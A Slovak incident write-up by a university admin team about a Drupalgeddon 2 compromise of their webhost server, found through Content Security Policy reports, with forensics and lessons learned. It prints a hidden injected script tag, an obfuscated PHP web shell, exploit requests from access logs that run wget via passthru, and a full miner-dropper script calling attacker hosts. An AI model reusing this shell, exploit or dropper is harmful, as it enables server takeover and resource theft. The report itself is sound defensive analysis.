Jednou z vecí, ktorú sa v rámci unix@fi snažíme priebežne vylepšovať, je zabezpečenie našich webov. V tejto oblasti existuje niekoľko technológií: používanie HTTPS, bezpečná konfigurácia SSL, vynucovanie HTTPS cez presmerovania a HSTS alebo bezpečnostné hlavičky ako napríklad Content Security Policy. A práve nasadzovanie tejto hlavičky nám pomohlo odhaliť väčší problém.
Čo robí Content Security Policy?
Ide o technológiu, ktorá umožňuje webserveru informovať klienta/prehliadač pomocou HTTP hlavičky o tom, aké dodatočné zdroje (obrázky, JavaScript, štýly, ...) a odkiaľ si môžu stránky vyžiadať. Toto sa hodí ako obrana voči XSS útokom (útočník má často dosah len na servírovaný obsah, ale už nie na samotný webserver, ktorý hlavičku nastaví) alebo na detekciu používania HTTP v HTTPS stránkach.
Napríklad pokiaľ viete, že stránka na https://www.fi.muni.cz/ bude načítavať len obrázky hostované na rovnakej doméne, skripty z umiestnenia https://fadmin.fi.muni.cz/ a nič dalšie, môžete pre ňu vo webserveri definovať hlavičku nasledovne:
Content-Security-Policy: default-src 'none'; img-src 'self'; script-src https://fadmin.fi.muni.cz;
report-uri https://fadmin.fi.muni.cz/noauth/report.mpl?loc=www&src=csp&ver=2018061100
Pokiaľ prehliadač zaznamená porušenie tohto kontraktu, zaznamená to do konzoly prehliadača, takýto zdroj odmietne načítať a zároveň o tom pošle hlásenie vo forme JSONu na adresu určenú direktívou report-uri.
Okrem toho má hlavička i miernejší variant Content-Security-Policy-Report-Only, ktorý funguje až na samotné blokovanie rovnako a hodí sa pri počiatočnom nasadzovaní.
Prvé známky problému
Pri rutinnom nasadzovaní tejto hlavičky na našich weboch sme si všimli, že po zapnutí na webhoste https://webhost.fi.muni.cz/ hlási konzola prehliadača dosť podivný zdroj (odtiaľto budeme z dôvodu bezpečnosti protokol škodlivých URL prepisovať na hxxp:):
Content Security Policy: The page's settings observed the loading of a resource at
hxxp://js.users.51.la/19454513.js ("default-src 'none'; style-src ..."). A CSP report is being sent.
Pri pohľade do zdrojáku index.html sa v ňom nachádzal riadok
<div style="display:none">
<script language="javascript" type="text/javascript" src="hxxp://js.users.51.la/19454513.js"></script>
</div>
Rýchly dotaz na DNS adresy (host js.users.51.la) odhalil niekoľko IP adries, z ktorých časť podľa databázy whois smerovala do adresných rozsahov čínskych subjektov. V tejto chvíli bolo jasné, že máme problém.
Tento web funguje len ako placeholder pre defaultný virtualhost domény webhost.fi.muni.cz, na ktorú sú cez DNS CNAME nasmerované reálne weby ako cbia.fi.muni.cz alebo zeroplusone.fi.muni.cz.
V tejto chvíli nás obliala horúčava, pretože obsah tejto stránky bol generovaný na stroji fadmin.fi.muni.cz, ktorý je dôležitým centrálnym bodom riadiacim ďalšie služby a servery na FI. Napadnutie tohto stroja by pre nás predstavovalo veľký problém. Našťastie sa ukázalo, že napadnutá verzia súboru nepochádza z tohto servera, ale vznikla až na stroji webhost.
Obsah súborového systému a logy Apache
Pri pohľade do koreňa webhostu boli zároveň zrejmé i ďalšie známky napadnutia:
-
Súbory defauls.php umiestnené v koreni reálnych webhostov s nasledovným obsahom (rozlúštenie funkčnosti nechávame čitateľovi):
<?php if(isset($_GET['test'])){echo 'success';}else{isset($_POST['ytr376gd'])&&($www= $_POST['ytr376gd'])
&& @preg_replace('/ad/e','@'│.str_rot13('riny').'($www)', 'add');}?>
- Podozrivé súbory
zeroplusone\\style.7734247913.css a zeroplusone/style.7734247913.css
-
V prístupovom logu Apache sme našli riadky, ktoré indikovali pokus o spustenie príkazu wget -c g.wpblogapi.com/acui/innc.zip -O tmps.php cez HTTP dotaz
zeroplusone-access_log:66.220.4.77 - - [23/Apr/2018:23:16:41 +0200] "POST /?q=user/password
&name[%23post_render][]=passthru&name[%23type]=markup
&name[%23markup]=wget%20-c%20g.wpblogapi.com/acui/innc.zip%20-O%20tmps.php HTTP/1.1" 200 12831
časovo nasledované riadkami v chybovom logu, ktoré poukazovali na to, že išlo o úspešný pokus (wget vypisuje informácie o priebehu sťahovania na štandardný chybový výstup):
--2018-04-23 23:16:43-- http://g.wpblogapi.com/acui/innc.zip
Resolving g.wpblogapi.com (g.wpblogapi.com)... 2400:cb00:2048:1::681f:404b, 2400:cb00:2048:1::681f:414b,
104.31.65.75, ...
Connecting to g.wpblogapi.com (g.wpblogapi.com)|2400:cb00:2048:1::681f:404b|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [application/zip]
Saving to: 'tmps.php'
0K 3.86M=0s
2018-04-23 23:16:44 (3.86 MB/s) - 'tmps.php' saved [97]
To všetko začalo jasne ukazovať smerom k webu zeroplusone.
Postupne sme formou iteratívneho rozširovania vyhľadávaných podozrivých reťazcov grepom v prístupových logoch, začínajúc od defauls.php a časových známok zmeny týchto súborov (mtime), vyrobili v podstate tranzitívny uzáver ukazujúci záznam o tom, o čo sa útočníci na webe pokúšali.
Toto nás priviedlo k niekoľkým IP adresám/rozsahom, URL či reťazcom ako passthru, wget alebo curl.
V praxi to každopádne znamenalo, že sa útočníkom podarilo získať možnosť prepašovať na náš server škodlivé súbory a spúšťať pod účtom webservera ľubovoľné príkazy.
Útočníkove ciele
Jedným zo zaujímavejších prístupov v logu Apache bol tento:
zeroplusone-access_log:51.255.91.41 - - [08/May/2018:22:37:19 +0200] "POST //?q=user/password&
name[%23post_render][]=passthru&name[%23markup]=wget%20-O%20/tmp/a.sh%20hxxp://51.255.91.41/a.sh;%20
sh%20/tmp/a.sh&name[%23type]=markup HTTP/1.1" 200 12792
Efektívne spôsobil spustenie nasledovného príkazu:
wget -O /tmp/a.sh hxxp://51.255.91.41/a.sh; sh /tmp/a.sh
V čase analýzy bol tento súbor stále prístupný a obsahoval nasledovný kód, ktorý priebežne okomentujeme:
#!/bin/bash
Zistíme si zoznam všetkých nami zapisovateľných adresárov a vyberieme jeden náhodný:
ipath=`find / -xdev -writable -executable -type d -print | shuf -n 1`
chmod +x $ipath
Zavoláme domov s informáciou, o aký systém ide (uname), a do vybraného zapisovateľného adresára stiahneme binárku s názvom php5:
wget -O /dev/null "hxxp://51.255.91.41/z.php?type=`uname`&i=$ipath"
wget -O $ipath/php5 hxxp://51.255.91.41/php5
if [ $? -eq 0 ]; then
echo "."
else
curl -o $ipath/php5 hxxp://51.255.91.41/php5
fi
chmod +x $ipath/php5
Ukončíme všetky procesy php5 a top 5 procesov podľa využitia CPU:
killall -9 php5
for i in `ps aux | sort -nrk 3,3 | awk '{print $2}'| head -n 5`; do
kill -9 $i
done
Spustíme binárku php5 a ukončíme procesy s názvom xmrig, php, ...:
$ipath/php5 -o 51.255.91.41:443 -u auto -p x --max-cpu-usage=100 --donate-level=1 -B
killall -9 xmrig php xmrig-cpu xmrig-amd
A seba zmažeme:
rm -rf a.sh
Ako už začína byť jasné z tohto skriptu i rýchlej analýzy binárky nástrojmi file (php5: ELF 64-bit LSB executable) či strings (výskyt reťazcov ako Usage: xmrig [OPTIONS]) a rýchlom dotaze na Google, xmrig je miner kryptomeny Monero.
Toto poukazuje na fakt, že dnešným cieľom útočníkov je ťažba kryptomien, ktoré majú pomerne priamočiaru monetizáciu.
Podľa MRTG grafov, ktorými sledujeme load a využitie CPU na našich strojoch, a process accountingu, ktorý obsahuje informácie o spotrebovanom, sme usúdili, že k ťažbe reálne nedošlo alebo k nej došlo len na krátku dobu.
Izolácia napadnutých súborov
V tejto chvíli sme mali predstavu o rozsahu napadnutia, ale nemali sme istotu, ktoré všetky súbory boli pozmenené alebo doplnené. V tomto prípade nie je možné spoľahnúť sa ani na časové známky poslednej úpravy súboru (mtime), keďže tieto môžu byť jednoducho upravené:
$ touch a
$ ls -l a
-rw-------. 1 xszanisz student 0 Jun 11 15:44 a
$ touch -d 2018-01-01 a
$ ls -l a
-rw-------. 1 xszanisz student 0 Jan 1 00:00 a
Preto sme siahli do záloh a postupnou obnovou stavu adresára s webovými súbormi z niekoľkých momentov v minulosti sme identifikovali moment pred napadnutím. Následne sme porovnaním (rsync/diff) rozdielov zistili, že nelegitímne pozmenených súborov bolo len niekoľko jednotiek. Tieto súbory sme izolovali prevlastenením na roota, zneprístupením a zapnutím príznaku immutable:
# FILE='/webhost/zeroplusone/defauls.php'
# chown root:root "$FILE"
# chmod 400 "$FILE"
# chattr +i "$FILE"
Vzhľadom na to, že k napadnutiu došlo cez web zeroplusone, celý tento web sme rovnako úplne zneprístupnili.
Ďalej sme v rámci celého servera skontrolovali prítomnosť súborov vlastnených účtom webhost a prítomnosť procesov bežiacich pod týmto účtom, ale mimo priestoru webhostingu sme nezaznamenali známky napadnutia.
Ako došlo k napadnutiu?
V tejto chvíli sme sa zamerali na spôsob prieniku na stroj webhost, ktorý bol celkom jednoducho odhaliteľný. Web zeroplusone.fi.muni.cz bežal na CMS Drupal, ktorý bol ale dlhodobo zanedbávaný a išlo o verziu 7.43 z 24.02.2016.
CMS ako Drupal alebo Wordpress patria vzhľadom na svoju obľúbenosť a bohužiaľ časté zanedbávanie aktualizácií medzi často napádané softvéry. V tomto prípade došlo v apríli k objaveniu dvoch vysoko kritických zraniteľností typu Remote Code Execution CVE-2018-7600 a CVE-2018-7602 označovaných ako Drupalgeddon 2, ktoré sa javia ako najpravdepodobnejší útočný vektor v tomto prípade.
Tieto zraniteľnosti sú podľa metodiky CMSS ľahko zneužiteľné: prvú môže využiť neautentizovaný útočník, má plný dopad na integritu a dôvernosť dát v drupale, a umožní vzdialené vykonávanie kódu.
Aké mal útočník možnosti
Vo chvíli prieniku na náš server mal útočník napríklad nasledovné možnosti: - modifikovať súbory webhostingu s cieľom šírenia škodlivého obsahu medzi návštevníkmi webu - exfiltrovať dáta zo servera - získať root prístup v prípade chyby v jadre - využiť náš server ako súčasť botnetu
Tieto možnosti sme sa za nemalého úsilia snažili vylúčiť, s použitím informácií z našich logov umiestnených lokálne i vzdialene na centrálnom logovacom serveri, záloh alebo process accountingu.
V tejto situácii nám pomohol i fakt, že minulý rok sme viacero labových webov práve z bezpečnostných dôvodov oddelili od nášho hlavného webu na Aise (www.fi.muni.cz), kde je oficiálny web FI či osobné weby, a teda potenciálny dopad tohto napadnutia bol podstatne menší.
Po analýze dostupných informácií sme nenašli známky toho, že by mimo modifikáciu súborov v rámci webhostingu došlo k iným problémom.
V spolupráci s webmastrami jednotlivých webov sme následne overili, že neboli niektorým z vyššieuvedených spôsobov zasiahnutí.
Záverom: Čo sme si z tohto odniesli
Odhalenie a zmapovanie dôsledkov tohto útoku nám zabralo niekoľko hodín času, ale odniesli sme si z toho niekoľko užitočných skúseností:
- Content Security Policy — užitočná technológia, ktorá môže pomôcť odhaliť prieniky
- aktualizácia softvéru a OS — síce často otravná, ale napriek tomu dôležitá činnosť
- segmentácia pomocou samostatných práv/účtov/kontajnerov/virtuálov — pomôže redukovať rozsah prípadného napadnutia
A ak už dôjde k napadnutiu, je dôležité byť schopný kvantifikovať jeho dosah, k čomu pomôžu:
- funkčné zálohy — obnova do nenapadnutého stavu a zistenie rozsahu zmien súborov
- logy — logy webservera po dostatočne dlhú dobu (6 mesiacov) a systémové logy, ktoré sú zároveň odosielané na vzdialený syslog server (možnosť ich porovnania v prípade kompromitácie)
- process accounting — priblíženie činností, o ktoré sa útočník pokúšal
Ak by ste mali záujem o asistenciu s niektorou zo služieb (CSP, zálohy, logy), dajte nám vedieť na unix@fi.
